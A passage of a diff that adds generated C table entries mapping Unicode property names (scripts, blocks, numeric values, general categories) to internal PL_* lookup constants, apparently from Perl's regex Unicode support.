+ { 1, 7288, 57, 7, 2, PL_SC__YI } /* script=yi */,
+ { 12, 6890, 5609, 4, 12, PL_ALPHABETICPF } /* blk=alphabeticpf */,
+ { 4, 7459, 8600, 3, 4, PL_SC__QAAI } /* sc=zinh */,
+ { 2, 4314, 8592, 13, 4, PL_JG__ZAIN } /* joininggroup=zain */,
+ { 2, 8816, 7702, 3, 3, PL_NV__200 } /* nv=200 */,
+ { 0, 5192, 448, 3, 17, PL_IDEOGRAPHICSYMBOLS } /* isideographicsymbols */,
+ { 3, 8011, 44, 4, 1, PL_SK } /* gc=sk */,
+ { 3, 5544, 5219, 13, 2, PL_NV__10 } /* numericvalue=10 */,
+ { 4, 84, 7951, 4, 5, PL_MATH } /* math=true */,
+ { 2, 6706, 8753, 10, 3, PL_IN__6_DOT_2 } /* presentin=6.2 */,
+ { 0, 5544, 8909, 13, 2, PL_NV__45 } /* numericvalue=45 */,
+ { 1, 8026, 6697, 3, 9, PL_INPHOENICIAN } /* inphoenician */,
+ { 7, 8344, 6253, 4, 10, PL_JT__L } /* jt=leftjoining */,
+ { 3, 3129, 8500, 17, 4, PL_SARB } /* scriptextensions=sarb */,
+ { 2, 6890, 8556, 4, 4, PL_INTHAI } /* blk=thai */,
+ { 4, 21, 4813, 2, 7, PL_KANASUP } /* inkanasup */,
+ { 0, 6713, 7750, 3, 1, PL_IN__8 } /* in=8 */,
+ { 10, 7380, 8740, 7, 2, PL_CCC__25 } /* ccc=ccc25 */,
+ { 1, 184, 720, 2, 16, PL_ENCLOSEDALPHANUM } /* isenclosedalphanum */,
+ { 6, 7288, 8456, 7, 4, PL_OSGE } /* script=osge */,
+ { 0, 7288, 8044, 7, 4, PL_PHLI } /* script=phli */,
+ { 1, 7459, 6980, 3, 9, PL_NBAT } /* sc=nabataean */,
+ { 2, 7380, 7941, 4, 2, PL_CCC__11 } /* ccc=11 */,
+ { 0, 7906, 7493, 4, 6, PL_SC__KNDA } /* sc=kannada */,
+ { 0, 4542, 7313, 3, 7, PL_TAGB } /* istagbanwa */,
+ { 9, 6406, 0, 11, 0, PL_SORA } /* sorasompeng */,
+ { 4, 2229, 4524, 16, 15, PL_PS } /* generalcategory=openpunctuation */,
+ { 1, 974, 8673, 27, 2, PL_CCC__14 } /* canonicalcombiningclass=ccc14 */,
+ { 1, 8016, 1627, 4, 7, PL_GCB__CN } /* gcb=control */,
+ { 6, 4314, 5909, 13, 12, PL_JG__MALAYALAMTTA } /* joininggroup=malayalamtta */,
+ { 8, 6890, 8819, 4, 3, PL_OCR } /* blk=ocr */,
+ { 2, 184, 4644, 2, 15, PL_ZANB } /* iszanabazarsquare */,
+ { 0, 5375, 6252, 12, 11, PL_JT__L } /* joiningtype=leftjoining */,
+ { 0, 8096, 8496, 4, 4, PL_SAMR } /* scx=samr */,
+ { 0, 2249, 0, 10, 0, PL_GLAG } /* glagolitic */,
+ { 2, 7288, 7359, 7, 7, PL_AVST } /* script=avestan */,
+ { 7, 8096, 6989, 4, 9, PL_TALU } /* scx=newtailue */,
+ { 0, 8376, 4701, 3, 14, PL_LB__SA } /* lb=complexcontext */,
+ { 10, 5093, 0, 14, 0, PL_PHONETICEXTSUP } /* phoneticextsup */,
+ { 0, 184, 1307, 3, 12, PL_M } /* iscombiningmark */,
+ { 2, 5192, 1687, 3, 15, PL_INDICNUMBERFORMS } /* isindicnumberforms */,
+ { 0, 6890, 7597, 4, 7, PL_SHAW } /* blk=shavian */,
+ { 4, 184, 7527, 2, 7, PL_MULT } /* ismultani */,
+ { 13, 436, 7997, 5, 2, PL_NCHAR } /* nchar=y */,
+ { 2, 8011, 1627, 3, 7, PL_XPOSIXCNTRL } /* gc=control */,
+ { 2, 3129, 7900, 17, 6, PL_RJNG } /* scriptextensions=rejang */,
+ { 0, 6890, 3543, 4, 17, PL_SMALLFORMS } /* blk=smallformvariants */,
+ { 1, 8340, 6523, 3, 2, PL_JG__FE } /* jg=fe */,
+ { 3, 8240, 36, 4, 1, PL_BC__ET } /* bc=et */,
+ { 0, 8220, 0, 4, 0, PL_ARMN } /* armn */,
+ { 0, 6890, 7208, 4, 8, PL_INHIRAGANA } /* blk=hiragana */,
+ { 1, 7136, 1506, 6, 14, PL_MUSIC } /* block=musicalsymbols */,
+ { 1, 8504, 138, 3, 2, PL_SB__FO } /* sb=fo */,
+ { 0, 7136, 1981, 6, 21, PL_CYRILLICSUP } /* block=cyrillicsupplementary */,
+ { 2, 8500, 0, 4, 0, PL_SARB } /* sarb */,
+ { 0, 8288, 7184, 3, 8, PL_DT__FRA } /* dt=fraction */,
+ { 8, 4449, 7996, 4, 3, PL_NFCQC__Y } /* nfcqc=y */,
+ { 2, 6890, 2149, 4, 20, PL_INANATOLIANHIEROGLYPHS } /* blk=anatolianhieroglyphs */,
+ { 2, 6554, 7368, 4, 5, PL_INBENGALI } /* inbengali */,
+ { 0, 7288, 8308, 7, 4, PL_SC__GURU } /* script=guru */,
+ { 6, 8288, 45, 3, 3, PL_DT__COM } /* dt=com */,
+ { 8, 7288, 2967, 7, 4, PL_SC__GEOR } /* script=geor */,
+ { 0, 974, 7756, 24, 1, PL_CCC__9 } /* canonicalcombiningclass=9 */,
+ { 0, 184, 1702, 2, 22, PL_DIACRITICALSFORSYMBOLS } /* isdiacriticalsforsymbols */,
+ { 9, 21, 4827, 2, 14, PL_KANGXI } /* inkangxiradicals */,
+ { 0, 6890, 7359, 4, 7, PL_INAVESTAN } /* blk=avestan */,
+ { 1, 1417, 5310, 9, 13, PL_XPOSIXDIGIT } /* category=decimalnumber */,
+ { 0, 3129, 8496, 17, 4, PL_SAMR } /* scriptextensions=samr */,
+ { 3, 7798, 7951, 6, 5, PL_COMPEX } /* compex=true */,
+ { 8, 974, 7708, 24, 2, PL_CCC__21 } /* canonicalcombiningclass=21 */,
+ { 0, 7840, 5600, 6, 9, PL_VERTICALFORMS } /* isverticalforms */,
+ { 0, 1027, 0, 2, 0, PL_SO } /* so */,
+ { 1, 7168, 3223, 8, 2, -PL_EXT } /* extender=n */,
+ { 0, 7227, 5315, 5, 5, PL_POSIXALNUM } /* posixalnum */,
+ { 2, 7136, 7450, 6, 7, PL_INHANUNOO } /* block=hanunoo */,
+ { 1, 7136, 540, 6, 30, PL_CJKEXTB } /* block=cjkunifiedideographsextensionb */,
+ { 3, 6506, 6506, 3, 10, PL_YISYLLABLES } /* isyisyllables */,
+ { 11, 8096, 7450, 4, 7, PL_HANO } /* scx=hanunoo */,
+ { 1, 7288, 7597, 7, 7, PL_SHAW } /* script=shavian */,
+ { 6, 7136, 7590, 6, 7, PL_INSHARADA } /* block=sharada */,
+ { 0, 974, 1484, 24, 2, PL_CCC__BR } /* canonicalcombiningclass=br */,
+ { 0, 7459, 8244, 3, 4, PL_BHKS } /* sc=bhks */,
+ { 1, 8504, 3084, 3, 3, PL_SB__SE } /* sb=sep */,
+ { 4, 184, 8021, 2, 5, PL_GREXT } /* isgrext */,
+ { 14, 3526, 3581, 17, 2, PL_RI } /* regionalindicator=t */,
+ { 1, 974, 8643, 27, 2, PL_CCC__22 } /* canonicalcombiningclass=ccc22 */,
+ { 0, 8096, 2841, 4, 6, PL_COPT } /* scx=coptic */,
+ { 0, 6890, 2674, 4, 19, PL_SUNDANESESUP } /* blk=sundanesesupplement */,
+ { 1, 7689, 2150, 3, 19, PL_HLUW } /* isanatolianhieroglyphs */,
+ { 5, 2229, 217, 17, 1, PL_L_AMP_ } /* generalcategory=l_ */,
+ { 0, 5284, 7997, 13, 2, PL_CI } /* caseignorable=y */,
+ { 0, 7288, 7992, 8, 4, PL_SC__BUHD } /* script=buhid */,
+ { 3, 8096, 2484, 4, 4, PL_EGYP } /* scx=egyp */,
+ { 10, 3129, 8372, 17, 4, PL_LATN } /* scriptextensions=latn */,
+ { 9, 7288, 8560, 7, 4, PL_TIBT } /* script=tibt */,
+ { 7, 8096, 4509, 4, 15, PL_SARB } /* scx=oldsoutharabian */,
+ { 0, 8096, 8044, 4, 4, PL_PHLI } /* scx=phli */,
+ { 3, 6210, 541, 3, 29, PL_CJKEXTB } /* incjkunifiedideographsextensionb */,
+ { 0, 184, 7492, 2, 7, PL_KNDA } /* iskannada */,
+ { 0, 1417, 48, 9, 1, PL_P } /* category=p */,
+ { 0, 8240, 2086, 3, 21, PL_BC__PDI } /* bc=popdirectionalisolate */,
+ { 6, 2229, 47, 17, 1, PL_LM } /* generalcategory=lm */,
+ { 9, 7380, 8633, 4, 3, PL_CCC__103 } /* ccc=103 */,
+ { 0, 7380, 8675, 4, 3, PL_CCC__BL } /* ccc=218 */,
+ { 0, 6890, 5705, 4, 12, PL_CYRILLICEXTC } /* blk=cyrillicextc */,
+ { 17, 3129, 7499, 17, 7, PL_KALI } /* scriptextensions=kayahli */,
+ { 11, 6756, 7997, 10, 2, PL_SD } /* softdotted=y */,
+ { 0, 4420, 1077, 4, 2, PL_CPRT } /* iscprt */,
+ { 1, 4542, 5434, 3, 3, PL_TAML } /* istaml */,
+ { 1, 8240, 2088, 3, 3, PL_BC__PDI } /* bc=pdi */,
+ { 0, 184, 1354, 2, 24, PL_COMPEX } /* isfullcompositionexclusion */,
+ { 1, 5645, 2913, 10, 18, PL_BC__ET } /* bidiclass=europeanterminator */,
+ { 0, 8488, 0, 4, 0, PL_RJNG } /* rjng */,
+ { 2, 7689, 5233, 3, 12, PL_AEGEANNUMBERS } /* isaegeannumbers */,
+ { 0, 5657, 7768, 5, 6, -PL_BIDIM } /* bidim=false */,
+ { 0, 21, 1589, 2, 23, PL_LATINEXTADDITIONAL } /* inlatinextendedadditional */,
+ { 2, 3129, 8428, 17, 4, PL_NEWA } /* scriptextensions=newa */,
+ { 1, 1206, 7640, 3, 6, PL_INTAITHAM } /* intaitham */,
+ { 1, 3129, 7208, 17, 8, PL_HIRA } /* scriptextensions=hiragana */,
+ { 0, 7288, 8412, 7, 4, PL_MTEI } /* script=mtei */,
+ { 0, 7136, 568, 6, 2, PL_NB } /* block=nb */,
+ { 3, 7136, 4614, 6, 8, PL_VEDICEXT } /* block=vedicext */,
+ { 0, 1960, 0, 21, 0, PL_CJKRADICALSSUP } /* cjkradicalssupplement */,
+ { 0, 7227, 1887, 5, 5, PL_POSIXLOWER } /* posixlower */,
+ { 2, 7459, 3458, 3, 4, PL_SC__MANI } /* sc=mani */,
+ { 1, 2859, 1209, 18, 5, PL_DT__SUP } /* decompositiontype=super */,
+ { 0, 8086, 7768, 5, 6, -PL_QMARK } /* qmark=false */,
+ { 0, 8472, 0, 4, 0, PL_PRTI } /* prti */,
+ { 8, 5544, 8717, 13, 3, PL_NV__3_SLASH_4 } /* numericvalue=3/4 */,
+ { 0, 5250, 0, 8, 0, PL_XPOSIXXDIGIT } /* hexdigit */,
+ { 4, 6221, 1029, 4, 4, PL_INCOPTIC } /* incoptic */,
+ { 2, 7380, 8187, 4, 2, PL_CCC__27 } /* ccc=27 */,
+ { 0, 8296, 0, 4, 0, PL_GONM } /* gonm */,
+ { 2, 4314, 8133, 13, 3, PL_JG__AIN } /* joininggroup=ain */,
+ { 3, 8572, 4466, 3, 2, PL_WB__DQ } /* wb=dq */,
+ { 0, 3738, 0, 9, 0, PL_LATIN1 } /* latin1sup */,
+ { 1, 1746, 8935, 21, 2, PL_GCB__XX } /* graphemeclusterbreak=xx */,
+ { 5, 7136, 7534, 6, 7, PL_NB } /* block=noblock */,
+ { 1, 8340, 6516, 3, 10, PL_JG__AFRICANFEH } /* jg=africanfeh */,
+ { 0, 6890, 892, 4, 18, PL_INVS } /* blk=variationselectors */,
+ { 9, 4659, 0, 14, 0, PL_ANCIENTSYMBOLS } /* ancientsymbols */,
+ { 9, 8572, 18, 3, 2, PL_RI } /* wb=ri */,
+ { 3, 6890, 2128, 4, 21, PL_YIJING } /* blk=yijinghexagramsymbols */,
+ { 0, 8096, 78, 4, 6, PL_ARAB } /* scx=arabic */,
+ { 3, 2859, 3191, 18, 3, PL_DT__MED } /* decompositiontype=med */,
+ { 0, 5645, 8801, 10, 3, PL_BC__LRE } /* bidiclass=lre */,
+ { 7, 8816, 8905, 3, 2, PL_NV__39 } /* nv=39 */,
+ { 2, 7344, 7951, 4, 5, PL_XIDS } /* xids=true */,
+ { 2, 7136, 3594, 6, 16, PL_ARABICSUP } /* block=arabicsupplement */,
+ { 1, 7288, 8116, 7, 5, PL_SC__TAML } /* script=tamil */,
+ { 18, 7459, 8420, 3, 4, PL_NARB } /* sc=narb */,
+ { 11, 6210, 3469, 3, 3, PL_INCHAM } /* incham */,
+ { 0, 6210, 3675, 3, 15, PL_CYPRIOTSYLLABARY } /* incypriotsyllabary */,
+ { 2, 7459, 7527, 3, 7, PL_SC__MULT } /* sc=multani */,
+ { 0, 6505, 0, 11, 0, PL_YISYLLABLES } /* yisyllables */,
+ { 8, 184, 2617, 2, 19, PL_MODIFIERTONELETTERS } /* ismodifiertoneletters */,
+ { 0, 8011, 38, 3, 2, PL_XPOSIXDIGIT } /* gc=nd */,
+ { 0, 7459, 6005, 3, 12, PL_HUNG } /* sc=oldhungarian */,
+ { 2, 6890, 2895, 4, 18, PL_ETHIOPICSUP } /* blk=ethiopicsupplement */,
+ { 0, 6263, 5107, 10, 14, PL_LB__PO } /* linebreak=postfixnumeric */,
+ { 2, 5645, 37, 10, 2, PL_BC__EN } /* bidiclass=en */,
+ { 10, 8376, 496, 3, 7, PL_LB__NU } /* lb=numeric */,
+ { 0, 6098, 0, 11, 0, PL_L_AMP_ } /* casedletter */,
+ { 0, 8011, 48, 3, 1, PL_P } /* gc=p */,
+ { 3, 8340, 3475, 3, 17, PL_JG__MANICHAEANHUNDRED } /* jg=manichaeanhundred */,
+ { 6, 8011, 2521, 3, 2, PL_PF } /* gc=pf */,
+ { 3, 2236, 217, 10, 1, PL_L_AMP_ } /* category=l_ */,
+ { 0, 3424, 3581, 17, 2, PL_IDSB } /* idsbinaryoperator=t */,
+ { 0, 7459, 8260, 3, 4, PL_SC__CAKM } /* sc=cakm */,
+ { 0, 235, 0, 2, 0, PL_LO } /* lo */,
+ { 6, 6713, 8846, 3, 3, PL_IN__2_DOT_1 } /* in=v21 */,
+ { 1, 7288, 2107, 7, 7, PL_SC__SINH } /* script=sinhala */,
+ { 13, 7816, 3581, 6, 2, PL_GRBASE } /* grbase=t */,
+ { 3, 8096, 7019, 4, 4, PL_PERM } /* scx=perm */,
+ { 0, 8096, 8046, 4, 4, PL_LIMB } /* scx=limb */,
+ { 1, 8096, 8300, 4, 4, PL_GREK } /* scx=grek */,
+ { 8, 184, 1877, 3, 20, PL_CWL } /* ischangeswhenlowercased */,
+ { 31, 6890, 6766, 4, 10, PL_SUPARROWSA } /* blk=suparrowsa */,
+ { 3, 8011, 5136, 4, 13, PL_ZS } /* gc=spaceseparator */,
+ { 9, 6890, 2004, 6, 19, PL_ININSCRIPTIONALPARTHIAN } /* blk=inscriptionalparthian */,
+ { 0, 1234, 0, 24, 0, PL_ARABICPFA } /* arabicpresentationformsa */,
+ { 1, 974, 8684, 24, 3, PL_CCC__L } /* canonicalcombiningclass=224 */,
+ { 5, 184, 8432, 2, 3, PL_NKO } /* isnko */,
+ { 1, 7288, 7145, 8, 7, PL_SC__BUGI } /* script=buginese */,
+ { 0, 8780, 3581, 3, 2, PL_CWT } /* cwt=t */,
+ { 1, 3129, 8308, 17, 4, PL_GURU } /* scriptextensions=guru */,
+ { 3, 6890, 3965, 4, 13, PL_MATHOPERATORS } /* blk=mathoperators */,
+ { 2, 690, 0, 30, 0, PL_CUNEIFORMNUMBERS } /* cuneiformnumbersandpunctuation */,
+ { 0, 18, 7768, 2, 6, -PL_RI } /* ri=false */,
+ { 12, 7478, 6767, 3, 9, PL_SUPARROWSA } /* issuparrowsa */,
+ { 1, 974, 1483, 24, 2, PL_CCC__DB } /* canonicalcombiningclass=db */,
+ { 4, 7457, 7112, 5, 8, PL_INSC__AVAGRAHA } /* insc=avagraha */,
+ { 0, 7798, 3223, 6, 2, -PL_COMPEX } /* compex=n */,
+ { 4, 8376, 534, 3, 2, PL_LB__NS } /* lb=ns */,
+ { 13, 7436, 0, 7, 0, PL_ELBA } /* elbasan */,
+ { 4, 3129, 8600, 17, 4, PL_QAAI } /* scriptextensions=zinh */,
+ { 3, 6890, 7192, 4, 8, PL_INGUJARATI } /* blk=gujarati */,
+ { 8, 6706, 8882, 10, 3, PL_IN__6_DOT_3 } /* presentin=v63 */,
+ { 0, 7136, 7387, 6, 7, PL_CJKEXTA } /* block=cjkexta */,
+ { 13, 8096, 7569, 4, 7, PL_OSMA } /* scx=osmanya */,
+ { 2, 2636, 0, 9, 0, PL_MONG } /* mongolian */,
+ { 0, 6890, 4827, 4, 14, PL_KANGXI } /* blk=kangxiradicals */,
+ { 0, 7136, 802, 6, 6, PL_ARROWS } /* block=arrows */,
+ { 2, 4542, 7647, 3, 6, PL_TAVT } /* istaiviet */,
+ { 13, 8795, 25, 3, 1, PL_INVS } /* invs */,
+ { 0, 7459, 7359, 3, 7, PL_AVST } /* sc=avestan */,
+ { 1, 3424, 7768, 17, 2, -PL_IDSB } /* idsbinaryoperator=f */,
+ { 2, 6890, 8428, 4, 4, PL_INNEWA } /* blk=newa */,
+ { 0, 3129, 2636, 17, 4, PL_MONG } /* scriptextensions=mong */,
+ { 2, 7689, 7957, 3, 4, PL_ADLM } /* isadlam */,
+ { 0, 184, 5079, 2, 14, PL_MN } /* isnonspacingmark */,
+ { 0, 7136, 6567, 7, 9, PL_BOXDRAWING } /* block=boxdrawing */,
+ { 8, 7459, 8540, 3, 4, PL_SC__TAML } /* sc=taml */,
+ { 4, 6483, 3223, 4, 3, -PL_XIDC } /* xidc=no */,
+ { 1, 7227, 96, 5, 5, PL_POSIXALPHA } /* posixalpha */,
+ { 0, 7816, 7768, 6, 2, -PL_GRBASE } /* grbase=f */,
+ { 0, 7288, 8061, 7, 5, PL_OGAM } /* script=ogham */,
+ { 2, 2841, 0, 18, 0, PL_COPTICEPACTNUMBERS } /* copticepactnumbers */,
+ { 8, 3129, 7604, 17, 4, PL_SIDD } /* scriptextensions=sidd */,
+ { 0, 8096, 8111, 4, 5, PL_TAKR } /* scx=takri */,
+ { 3, 974, 8051, 24, 5, PL_CCC__7 } /* canonicalcombiningclass=nukta */,
+ { 4, 7478, 1210, 3, 24, PL_SUPERANDSUB } /* issuperscriptsandsubscripts */,
+ { 2, 6472, 8789, 10, 3, PL_WB__EBG } /* wordbreak=ebg */,
+ { 2, 5544, 8168, 13, 4, PL_NV__17_SLASH_2 } /* numericvalue=17/2 */,
+ { 3, 5544, 8617, 13, 2, PL_NV__31 } /* numericvalue=31 */,
+ { 0, 7359, 0, 7, 0, PL_AVST } /* avestan */,
+ { 0, 4402, 224, 3, 2, PL_INMRO } /* inmro */,
+ { 0, 2990, 6538, 4, 8, PL_ARABICEXTA } /* inarabicexta */,
+ { 0, 7288, 8600, 7, 4, PL_SC__QAAI } /* script=zinh */,
+ { 0, 6890, 7120, 4, 8, PL_INBALINESE } /* blk=balinese */,
+ { 1, 8086, 3581, 5, 2, PL_QMARK } /* qmark=t */,
+ { 9, 7380, 7714, 4, 2, PL_CCC__30 } /* ccc=30 */,
+ { 1, 8416, 0, 4, 0, PL_MYMR } /* mymr */,
+ { 4, 8026, 3165, 5, 18, PL_INPC__TOPANDLEFTANDRIGHT } /* inpc=topandleftandright */,
+ { 0, 184, 4104, 2, 8, PL_BAMUMSUP } /* isbamumsup */,
+ { 0, 4284, 4042, 14, 16, PL_LB__H3 } /* hangulsyllabletype=lvtsyllable */,
+ { 0, 184, 183, 2, 20, PL_MISCSYMBOLS } /* ismiscellaneoussymbols */,
+ { 0, 2895, 0, 8, 0, PL_ETHI } /* ethiopic */,
+ { 0, 808, 0, 28, 0, PL_PHONETICEXTSUP } /* phoneticextensionssupplement */,
+ { 6, 184, 601, 3, 29, PL_CJKEXTD } /* iscjkunifiedideographsextensiond */,
+ { 0, 8340, 4785, 3, 14, PL_JG__HAMZAONHEHGOAL } /* jg=hamzaonhehgoal */,
+ { 0, 5968, 7017, 3, 8, PL_INOLDPERMIC } /* inoldpermic */,
+ { 8, 5583, 3223, 13, 3, -PL_QMARK } /* quotationmark=no */,
+ { 0, 3129, 6008, 17, 4, PL_HUNG } /* scriptextensions=hung */,
+ { 0, 6263, 8921, 10, 2, PL_LB__BK } /* linebreak=bk */,
+ { 0, 3129, 7436, 17, 4, PL_ELBA } /* scriptextensions=elba */,
+ { 1, 184, 2788, 3, 10, PL_CHEROKEESUP } /* ischerokeesup */,
+ { 1, 4284, 3219, 14, 18, PL_HST__NA } /* hangulsyllabletype=notapplicable */,
+ { 0, 8011, 24, 3, 1, PL_L } /* gc=l */,
+ { 4, 11, 3223, 3, 2, -PL_DIA } /* dia=n */,
+ { 1, 1426, 1520, 22, 23, PL_INSC__CONSONANTPRECEDINGREPHA } /* indicsyllabiccategory=consonantprecedingrepha */,
+ { 0, 4314, 5023, 13, 14, PL_JG__MANICHAEANYODH } /* joininggroup=manichaeanyodh */,
+ { 1, 4314, 6523, 13, 3, PL_JG__FEH } /* joininggroup=feh */,
+ { 3, 8016, 3914, 4, 5, PL_GCB__XX } /* gcb=other */,
+ { 0, 3129, 8116, 17, 5, PL_TAML } /* scriptextensions=tamil */,
+ { 1, 7136, 892, 6, 28, PL_VSSUP } /* block=variationselectorssupplement */,
+ { 3, 8096, 8584, 4, 4, PL_XSUX } /* scx=xsux */,
+ { 0, 7459, 7590, 3, 7, PL_SC__SHRD } /* sc=sharada */,
+ { 6, 7136, 6406, 6, 11, PL_INSORASOMPENG } /* block=sorasompeng */,
+ { 2, 690, 0, 9, 0, PL_XSUX } /* cuneiform */,
+ { 0, 7689, 27, 3, 2, PL_ALL } /* isall */,
+ { 0, 186, 7997, 2, 4, PL_CE } /* ce=yes */,
+ { 0, 7136, 2877, 6, 13, PL_DEVANAGARIEXT } /* block=devanagariext */,
+ { 0, 8822, 3581, 3, 2, PL_PCM } /* pcm=t */,
+ { 2, 8572, 34, 3, 6, PL_WB__EXTEND } /* wb=extend */,
+ { 3, 6076, 7951, 11, 5, PL_BIDIC } /* bidicontrol=true */,
+ { 2, 5134, 3511, 4, 15, PL_PATWS } /* ispatternwhitespace */,
+ { 0, 1426, 6998, 22, 9, PL_INSC__NONJOINER } /* indicsyllabiccategory=nonjoiner */,
+ { 5, 2236, 5814, 10, 11, PL_NL } /* category=letternumber */,
+ { 4, 6613, 1379, 3, 23, PL_HIGHPUSURROGATES } /* ishighprivateusesurrogates */,
+ { 0, 8288, 5969, 3, 12, PL_DT__NONCANON } /* dt=noncanonical */,
+ { 0, 8816, 7738, 3, 6, PL_NV__600000 } /* nv=600000 */,
+ { 0, 7200, 0, 8, 0, PL_GURU } /* gurmukhi */,
+ { 0, 5544, 7714, 13, 6, PL_NV__300000 } /* numericvalue=300000 */,
+ { 0, 184, 3738, 2, 6, PL_LATIN1 } /* islatin1 */,
+ { 2, 8096, 8600, 4, 4, PL_QAAI } /* scx=zinh */,
+ { 4, 8340, 5849, 3, 12, PL_JG__MALAYALAMLLA } /* jg=malayalamlla */,
+ { 2, 184, 7128, 2, 4, PL_BASS } /* isbass */,
+ { 0, 7459, 8091, 3, 5, PL_RUNR } /* sc=runic */,
+ { 1, 3129, 8420, 17, 4, PL_NARB } /* scriptextensions=narb */,
+ { 24, 4284, 3577, 14, 17, PL_GCB__T } /* hangulsyllabletype=trailingjamo */,
+ { 0, 2100, 125, 3, 2, PL_OCR } /* isocr */,
+ { 0, 6706, 8888, 10, 3, PL_IN__8 } /* presentin=v80 */,
+ { 1, 8272, 7768, 4, 2, -PL_CWCF } /* cwcf=f */,
+ { 8, 8248, 5488, 4, 4, PL_BPT__N } /* bpt=none */,
+ { 2, 6210, 1940, 3, 20, PL_CJKCOMPATFORMS } /* incjkcompatibilityforms */,
+ { 1, 5192, 59, 3, 3, PL_IDEO } /* isideo */,
+ { 0, 974, 3262, 24, 9, PL_CCC__BL } /* canonicalcombiningclass=belowleft */,
+ { 0, 7288, 7918, 7, 4, PL_SC__THAA } /* script=thaa */,
+ { 0, 7136, 6806, 6, 10, PL_INWARANGCITI } /* block=warangciti */,
+ { 0, 7288, 7882, 7, 6, PL_LYDI } /* script=lydian */,
+ { 2, 1159, 7768, 25, 6, -PL_CWKCF } /* changeswhennfkccasefolded=false */,
+ { 0, 7136, 7256, 6, 8, PL_KANAEXTA } /* block=kanaexta */,
+ { 1, 4402, 317, 3, 32, PL_MISCMATHSYMBOLSB } /* inmiscellaneousmathematicalsymbolsb */,
+ { 0, 4464, 0, 15, 0, PL_DT__CAN } /* nfdquickcheck=n */,
+ { 3, 96, 3581, 5, 2, PL_XPOSIXALPHA } /* alpha=t */,
+ { 0, 8816, 7702, 3, 2, PL_NV__20 } /* nv=20 */,
+ { 2, 2229, 3084, 16, 9, PL_Z } /* generalcategory=separator */,
+ { 0, 5544, 5219, 13, 4, PL_NV__1000 } /* numericvalue=1000 */,
+ { 1, 6554, 4105, 3, 7, PL_BAMUMSUP } /* inbamumsup */,
+ { 8, 8096, 7822, 4, 4, PL_HATR } /* scx=hatr */,
+ { 6, 8001, 0, 5, 0, PL_XPOSIXCNTRL } /* cntrl */,
+ { 0, 3594, 0, 9, 0, PL_ARABICSUP } /* arabicsup */,
+ { 0, 6484, 7997, 10, 2, PL_IDC } /* idcontinue=y */,
+ { 11, 1204, 0, 2, 0, PL_PO } /* po */,
+ { 2, 7136, 7152, 6, 8, PL_INDUPLOYAN } /* block=duployan */,
+ { 3, 8340, 7930, 3, 6, PL_JG__YUDHHE } /* jg=yudhhe */,
+ { 17, 7459, 2787, 3, 4, PL_CHER } /* sc=cher */,
+ { 1, 2985, 7997, 18, 2, PL_IDST } /* idstrinaryoperator=y */,
+ { 4, 6713, 8876, 3, 3, PL_IN__6_DOT_1 } /* in=v61 */,
+ { 9, 7136, 7527, 6, 7, PL_INMULTANI } /* block=multani */,
+ { 7, 1426, 7688, 22, 7, PL_INSC__VISARGA } /* indicsyllabiccategory=visarga */,
+ { 22, 184, 1919, 3, 20, PL_CWU } /* ischangeswhenuppercased */,
+ { 1, 6554, 3611, 3, 10, PL_BOPOMOFOEXT } /* inbopomofoext */,
+ { 3, 1701, 3581, 2, 2, PL_SD } /* sd=t */,
+ { 6, 7457, 4058, 5, 5, PL_INSC__VOWEL } /* insc=vowel */,
+ { 19, 2229, 3914, 16, 16, PL_PO } /* generalcategory=otherpunctuation */,
+ { 0, 21, 7882, 2, 6, PL_INLYDIAN } /* inlydian */,
+ { 4, 2985, 3223, 3, 3, -PL_IDS } /* ids=no */,
+ { 4, 1887, 7997, 9, 2, PL_XPOSIXLOWER } /* lowercase=y */,
+ { 2, 2108, 2543, 4, 17, PL_JAMOEXTA } /* inhanguljamoextendeda */,
+ { 3, 7459, 8520, 3, 4, PL_SHAW } /* sc=shaw */,
+ { 14, 8096, 1401, 4, 4, PL_SIND } /* scx=sind */,
+ { 0, 7459, 8111, 3, 5, PL_SC__TAKR } /* sc=takri */,
+ { 3, 7019, 0, 4, 0, PL_PERM } /* perm */,
+ { 0, 3129, 6806, 17, 4, PL_WARA } /* scriptextensions=wara */,
+ { 9, 4630, 1174, 3, 3, PL_UCAS } /* isucas */,
+ { 0, 1346, 2053, 5, 5, PL_GREEKEXT } /* ingreekext */,
+ { 1, 2990, 7106, 4, 6, PL_INARMENIAN } /* inarmenian */,
+ { 0, 974, 5349, 24, 13, PL_CCC__IS } /* canonicalcombiningclass=iotasubscript */,
+ { 9, 6890, 720, 4, 16, PL_ENCLOSEDALPHANUM } /* blk=enclosedalphanum */,
+ { 0, 96, 7768, 5, 2, -PL_XPOSIXALPHA } /* alpha=f */,
+ { 0, 8096, 2531, 4, 4, PL_MULT } /* scx=mult */,
+ { 0, 6890, 570, 4, 30, PL_CJKEXTC } /* blk=cjkunifiedideographsextensionc */,
+ { 0, 1426, 4434, 22, 15, PL_INSC__MODIFYINGLETTER } /* indicsyllabiccategory=modifyingletter */,
+ { 0, 4479, 7996, 5, 5, PL_NFKCQC__Y } /* nfkcqc=yes */,
+ { 1, 5544, 8136, 13, 4, PL_NV___MINUS_1_SLASH_2 } /* numericvalue=-1/2 */,
+ { 1, 974, 8640, 27, 2, PL_CCC__18 } /* canonicalcombiningclass=ccc18 */,
+ { 5, 5583, 7997, 13, 2, PL_QMARK } /* quotationmark=y */,
+ { 33, 5544, 8188, 13, 4, PL_NV__7_SLASH_12 } /* numericvalue=7/12 */,
+ { 4, 7136, 5400, 7, 7, PL_INBALINESE } /* block=balinese */,
+ { 5, 5583, 0, 13, 0, PL_QMARK } /* quotationmark */,
+ { 14, 11, 3581, 2, 2, PL_DI } /* di=t */,
+ { 0, 7136, 7129, 7, 7, PL_INBASSAVAH } /* block=bassavah */,
+ { 0, 7380, 727, 4, 2, PL_CCC__DA } /* ccc=da */,
+ { 0, 2484, 0, 4, 0, PL_EGYP } /* egyp */,
+ { 0, 3129, 4644, 17, 15, PL_ZANB } /* scriptextensions=zanabazarsquare */,
+ { 1, 6554, 3611, 3, 7, PL_INBOPOMOFO } /* inbopomofo */,
+ { 0, 1448, 3995, 3, 15, PL_SYRIACSUP } /* insyriacsupplement */,
+ { 0, 7136, 5777, 6, 6, PL_INHEBREW } /* block=hebrew */,
+ { 6, 7459, 8208, 3, 4, PL_AHOM } /* sc=ahom */,
+ { 0, 5544, 8165, 13, 3, PL_NV__5_SLASH_2 } /* numericvalue=5/2 */,
+ { 10, 5657, 3223, 5, 3, -PL_BIDIM } /* bidim=no */,
+ { 0, 8096, 8404, 4, 4, PL_MLYM } /* scx=mlym */,
+ { 1, 2100, 4525, 3, 14, PL_PS } /* isopenpunctuation */,
